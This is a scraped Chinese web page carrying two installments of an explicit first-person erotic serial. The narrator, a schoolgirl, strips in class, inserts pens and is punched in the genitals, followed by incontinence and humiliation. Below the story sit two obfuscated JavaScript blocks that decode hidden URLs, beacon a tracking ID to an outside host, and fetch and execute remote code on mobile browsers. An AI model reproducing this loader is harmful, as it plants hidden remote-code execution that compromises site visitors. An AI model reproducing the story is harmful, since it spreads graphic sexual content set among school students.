开颜的林玲也舒展了身子:“谢谢你,明天我就把照片全部还给你。”

“哎,无所谓了,都是朋友了。不过你还真的害得我够呛,让我这么多天来都魂不守舍。哼!等有机会我也要让你尝试一下。”我假装很生气,继而相视而笑。

“瞧你现在赤裸裸的,怎么回去哦?”林玲安慰的对我说。

“放心吧,我习惯了。”

“你啊,真不知说你什么好,虽然现在寝室楼那边灯都关了,可等会看你怎么进寝室?”林玲做个潇洒的摆头。

“没关系,我身边不是还你有吗?”

“啊……你可别打我身上的主意,我身上可就是外套加内衣,我可没你那么豪放。”

看着她似乎很担心的样子,我给她笨笨的一笑:“你想哪去了?我意思是等会你去我寝室随便找个理由帮我拿件衣服出来不就完事了,谁要你脱衣服了?” 林玲窘然,有些不好意思。

回到寝室,我的三个室友在我刚出门时就回来了,正一个个兴致昂然的吃着些杂七杂八的零食。还有说有笑的,看到有些狼狈不堪的我,以为发生了什么事情。

“谢沐,去干嘛了?你看起来有些憔悴。”睡在我床头的张丽愕愕的看着我问道。

我不知回答什么好。经过几次大起大落,还有N次高潮,脸色当然有些憔悴了。“没事,刚刚有几个可恶的男生看到只有我一个人,对我毛手毛脚的,让我很反感。”我随便找了个理由回应着张丽,虚弱的躺在床边:“都睡吧,他们都被我骂走了,现在已经很晚了,明天还要上课呢!”

我起身洗了个澡静静地睡在床上,摸索着还有些硬硬的乳房,回味着林玲对我说的那些话语,相信今天晚上肯定能做个好梦了。她不是说第一次看到我裸睡楼梯间时也很兴奋吗?看来以后露出会有个好伙伴,不用再孤身行事。我真的很向往,又有些湿湿的下体唤起了我内心露出的淫虫,我强忍着没有继续下去,现在寝室里面还有三个人,还是收敛一些为妙,赶紧睡吧,希望能做个好梦。 在第二天,林玲就把照片全部还给了我,本来打算给她几张留个纪念,她认为避免误会,还是不要了。自从那天以后,我和林玲已经亲密无间,之间她也真的有配合我玩些小打小闹的露出,在这里我也不一一为大家描述了,不过有一次倒是令我很刺激。

记得那天已是深秋,早上的时候外面还会结霜,在晨间还得穿上棉袄,可我天生不怎么怕冷,像往常一样,外面只穿了件牛仔外套,里面是一件纯棉的一般热天才穿的长袖T恤(在我们学校冬天对校服管得松一些),当然,内衣对我来说肯定是多余的(不好意思,之前从没提过,我是很少穿内衣的);下身是一条大约离膝盖15公分的风兴裙,里面肯定有穿一条厚厚的丝袜啦,毕竟天气有点冷,穿得太露,会招来很多异议。

我和林玲相约而同的跟往常一样去了教室(自从上次那件事之后,林玲就通过某些关系调到了跟我一个寝室,还跟我同一班),我们并排坐在教室后面的座位上,像往常一样时不时的趴开上衣,露出乳房什么的。可这些玩得太多,对我来说早就失去兴致了,我很想更疯狂的露一次,可一直苦于没什么机会。林玲也理解我,但她也想不出什么好方法,这时座落在比较墙角的我决定做一个前所未有的疯狂决定。

(未完、待续)

我的疯狂露出

作者:luangel

(十)

因为我处在靠教室外走廊的角落,外面巡逻的老师跟本看不到我,而且在我身后的教室门也是锁着的,也不用担心会有人突然从后面进来,我便摸索着把手慢慢伸入风光裙里面,想就在教室里把我的丝袜给脱了。

这时连我自已都不禁为我的大胆想法而震惊,心脏“怦怦怦”像打鼓一样,差点要蹦出体外。心里虽然直哆嗦着不停,可我还是在暗暗在为自已加油:‘谢沐,你行的,你是暴露狂,这点事绝对难不倒你。’我心里有如千根丝,乱成一团麻,虽然紧张,但我伸在风光裙里的两只手却在缓缓地剥我的丝袜。

‘谢沐,脱了它吧!加油!不就是脱个丝袜吗?难道作为一个暴露狂,这点事就难倒你了吗?’我默默地念叨着自已,心一狠,闭着眼一下把丝袜脱到了膝盖上。我摸到了丝袜上面居然还有点湿湿的,原来下体的淫水早就氾滥成灾了。 “谢沐,你在干嘛?”这时坐在我旁边的林玲注意到了我的异样:“你……你……”林玲用不可思议的眼神看着我,用手狠狠地捂着自已的嘴巴,可能是她怕刚刚不小心会叫出声来吧!

我赶紧给林玲摆一个“嘘”的手势,小声对她说:“你想干嘛?大惊小怪,不怕周围人发现我的秘密吗?”我故意用恶狠狠的眼睛蹬着她,继而给她一个神秘的微笑:“我打算在这里把我的丝袜和我外套里面的汗衫脱掉,你可要做我露出的帮凶哦!”

林玲看着我已脱到膝盖上的丝袜,不禁苦笑了一声,似哭似笑做个无奈状:“你啊……哎!好吧,真把你没辙了,我还真佩服你的胆量。这里可是教室,全都是认识的人啊!到时要是暴光了,可别怪我只为我自已辩解,我可不想明天跟你一起上学校‘光荣榜’。”

顺势林玲便朝我坏坏的一笑,还帮我把她书桌里面的书全拿出来放在我们俩的课桌上,把书包跨在她的右手边,这样便尽可能的挡住了周围的视线。我不禁感激的对林玲的配合说声感谢,不禁还调侃了她几下。

“真是谢谢你了,不过你可还真是个很称职的帮凶哦!”林玲握紧拳头,摆出个要打我的样子,害我立马唯唯诺诺,好像公主做错了事一样。

我像做贼似的慢慢地从脚底把丝袜彻底剥出来,老师现在正认真的讲着课,根本没注意角落的我,而且所有同学们都在注精会神的听着老师讲解。我胆子越来越大,凭藉着课桌上的书本挡着的原故,打算进行下一步动作,脱我里面的汗衫。

这可不比丝袜那般简单了,丝袜完全在下面进行的,不稍加注意根本就不知道我在干什么。但是里面的汗衫却要全裸上身才能脱掉,以我书本的高度,直坐着身子就会让前面的老师或要掉头的同学看到我的裸肩。这时突然我有点胆怯,毕竟跨出这一步要有非凡的胆量,抓着我已解开扣子的牛仔外套次次不敢下手。 这时候林玲注意到了我的窘样:“谢沐,怎么了?哎!想不到你也有胆怯的时候呀?”林玲故意把声音拖得长长的,心怀鬼胎的向我摆摆手。

可能是受了林玲的刺激,不是有句话这样说吗:“恶从胆边生”。虽然我对林玲当然没什么恶意,可我体内的露出淫虫有如万只蚂蚁叮咬,哪受得了。 我缩了下身子,尽量把头压低些,缓缓地把汗衫从腰间向上提,外套早就脱了,连同丝袜一同给林玲帮我保管着。此时我每做一个动作内心都会挣扎万分,感觉教室里所有眼睛都直勾勾的看着我正在做这些羞耻的事,内心的刺激牵动着我体内的每一跟神经,现在在我的眼前,仿佛现出了一幕幕惊诧的画面。

“太淫荡了!太变态了!”

“怎么会有这样的人,居然在教室里脱光了衣服!”

“你看,她下面是什么?哎呀!她下面还插了那么多支笔。”

“钢笔,圆珠笔,还有铅笔,还有……都插进去了耶!”

“是啊!那么多笔,怎么插得进去哦?下面也太大了吧!不会痛吗?”

“太变态了!以后可别说我们居然有这样的同学,太可耻了。”

……

我看到所有同学们都聚集到了我身边,都用恶毒恶心的语言辱骂着我,而我却正在用那十几支笔狠狠地插着我的下身,汩汩的淫水如泄了堤的洪水。此时老师也走了过来,用她那指挥棒同时使劲地插着我的肛门,我顾不得周围所有同学的侮辱,疯狂地享受着此时的高潮。

此时不知谁在我身上吐了一口唾味,接着所有人都在向我吐,我乳房上、大腿上,还有我正在交合的地方,甚至我的嘴里,全都是。老师也似乎更来劲,把她那40多釐米的指挥棒在我肛门足足插了一半还要多。

就在我欲罢不能的时候。突然感觉到有只手使命地捂住了我的嘴:“谢沐,你疯了?不知道你在教室里面吗?还这么张杨,不怕死吗?”

我缓缓地回过神来,原来刚刚那一幕只是我的幻想,不是真的。我庆幸的拍了拍胸脯,还处在意犹未尽的我摸摸我的下体,不过下面倒真的插了十多支笔,在屁眼里面也有一支,这时候我还数了数看看有多少支,居然有十五支之多!而我的汗衫也不知什么时候早就脱掉了,甚至连我唯一的风光裙也不见了。

也许老师和同学们打死也不会相信,现在正有个全身赤裸的女生上着课,而且下面还插着十五支笔,还有屁股下面那一滩淫水……屁眼里的那支我早就抽出来了,因为插在里面毕竟不好坐。

我现在正在为我的大胆而热泪盈眶,我无法想像我居然会在所有同学眼皮底下全裸上课。我茫然的看着林玲,感激她刚才救了我一命,要不是林玲及时捂着我的嘴,说不定我刚刚会大声叫出声来,后果不堪设想。

这时林玲把我的全部衣服递给我:“快穿上吧!快要下课了,到时候可谁都救不了你了。”林玲也因为我刚才失去理智而惊魂不已:“还有,下课后去超市赔我的六支笔。哼!”

我“噗哧”一笑,又羞又气,原来刚刚不知道怎么连同她的笔也一起拿了过来,一起插在了我下面。

“干嘛呢?我为什么要买?”我指指我的下体,并朝她调皮的一笑:“你的笔不都在这吗?你可别想我买给你,如果你不想自费的话,自已来拿吧!” 林玲握紧拳头,做出要打我的样子,我却表示无所谓。又气又急的林玲这时候拳头还真的狠心打了过来,本来就她那粉拳打在我身上也没什么,可她打得真是地方啊!她居然朝着我插满笔的小穴一拳狠狠地咂了下去,把原本露在外面的笔头全部淹没了,一股巨痛让我直翻白眼。

林玲似乎也看到了我的异状:“对不起!对不起!你怎么了,很痛吗?我不是故意的。”林玲很害怕的看着我:“你以前不是把整个可乐罐都塞进去过吗?我以为这些笔对你来说也没什么了,我只是开个玩笑而已。”

我看着急得快哭的林玲,承受着巨痛的我倒有些不忍:“我的傻大姐,可乐罐是平底,可这笔头是尖尖的啊!要不你来试试,看这么多尖尖的笔头猛地插到你子宫上面看你痛不痛?”

我嘴上虽数落着林玲的不是,可心里却不这样想,刚才虽然很痛,可我的巨穴里面的淫水更快地“哗哗”直往外流。我突然很渴望这种痛楚感,我内心的变态欲望随着巨痛的消失慢慢升级,我不知道用什么办法解决我此时的困境。 对,再让林玲狠狠地打我的下体吧!越狠越好。坐位下面已是一滩水泽,屁股上也被淫水浸透。不管了,什么耻辱,什么尊言,全都见鬼去吧!我要高潮,我要刺激。

我用极度变态淫靡的眼神看着林玲:“来,再用你的手打我的下体吧!等会我超市给你买笔,不,我给你买十二支。”我把声音压得很低。太害羞了,可我内心的渴望驱使我这样做。

林玲有点惊鄂的看着我,似乎不敢相信我说的话:“你……你刚刚不是很痛吗?看你刚刚死去活来的样子,怎么……”

“我不怕痛,越痛……我越刺激,没事,你尽管打吧,我不会叫出声的。”我闭着双眼,把插满笔的小穴对准林玲,淫水直冒的阴道好像正招唿着林玲的拳头:“尽管狠狠地打下去吧,不用担心。”

林玲有些茫然的看着我,我的变态欲望让她有些无法释然:“真的可以打下去吗?那你可要忍住痛哦!到时招引了同学我可救不了你了。”林玲说完便一拳打了下来,使那些笔更加深入了些,巨痛又猛地传入脑神经。

当我还在巨痛中未恢复过来时,林玲的第二拳又开始了。这连续的由笔头戳向子宫的疼痛让我痛苦万分,可在特殊场合巨痛的袭击让我兴奋连连,我双手很努力地捂着自已痛得变了形的嘴巴。

这时候,林玲接二连三的拳头又打了下来,好像故意报复我刚才说不给她买笔,而且还一下比一下重。最后,十五支笔完全插入了阴道才停了下来,最后还伸出两个手指用指甲狠狠地夹了下我早已涨得像花生米的小豆豆。

“铃铃铃……铃铃铃……”

这时,我突然听到了下课的铃声,原来刚刚玩过了度,当时早就忘了快要下课了。

“同学们,起立!现在下课。”老师说完便直接走出了教室。我没有站起来给老师敬礼,坐在后面的我知道老师也发觉不了,可现在还有满教室的同学怎么办?等会分散的时候,同学们不可能不会发现我的。

‘我死定了,我死定了……都怪自已,为什么这么大意?现在场面无法收拾了,可怜的谢沐,你就等死吧!’我现在有如没了脑袋的蛇,身体还活着,却没有一点方向。

这时林玲快速的把我往课桌椅下面塞,幸好刚好能容得下我。我蜷屈着身子瑟瑟发抖。此时的我双手掩面真想大哭一场,山洪般的尿液从我的股间“哗哗”流出——我失禁了!

林玲看着躲在桌椅下面的我,有些鄂然,“噢!天啦!你在干什么?你……你怎么可以在这里尿尿!”林玲大声咆哮着。我抬起头漠然地看着林玲,泪水从脸颊一滴一滴的往下落。我无言以对,看着阴户还在不停地喷射尿液,可我就是控制不了。

“算了,起来吧!同学都走光了。”

我怯怯的站起身,发现同学真的走光了,他们根本就没看到我,原来这节课是上午最后一节课。下课之后所有同学都直奔食堂去了,我如释重负的轻叹了一声,有些不好意思的看着林玲,然后看看桌子下面一大滩的尿水。一股骚味强烈的刺激着鼻孔,泪眼哗哗的我有些不知所措。

“你楞着干什么?去提点水把你拉的尿冲干净吧!要不然下午同学肯定能闻到骚味。”

“我的衣服呢?”正打算穿回衣服去洗手间提水,可看到林玲有些不怀好意的拿着我的衣服向我招摇,我说:“你想干嘛?快把衣服给我啦!”

“干嘛干嘛呢?你不是很想暴露吗?我想看看你光着屁股去提水,然后把这里冲干净。哼!要不然不给你衣服。”林玲把我的衣服快速的藏到身后,根本就没给我的意思。

“我的大小姐,别玩啦!刚刚还不够吗?你想害死我啊?外面操场上那么多人经过,还有教学楼也说不定有人会来,你想我红颜早逝吗?”

可林玲根本不理我的话,我知道她玩得又起劲了。

“这我可不管,教室里你都敢脱光,居然还敢尿尿,还有什么你不敢的?”说完林玲朝我神秘地一笑:“我先去吃饭了,衣服我也带走了。等会我吃完饭回来要是看到这里没洗干净的话,那你就等着来场美女校园裸奔吧!”

“喂,林玲,你快回来!你这该死的贱人……”我急疯了,嘴里骂骂咧咧追着离去的林玲,可当我追到门口,早已看不到她的身影了。


上一篇:淫魔 榨精

下一篇:骚妇的放荡生活


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};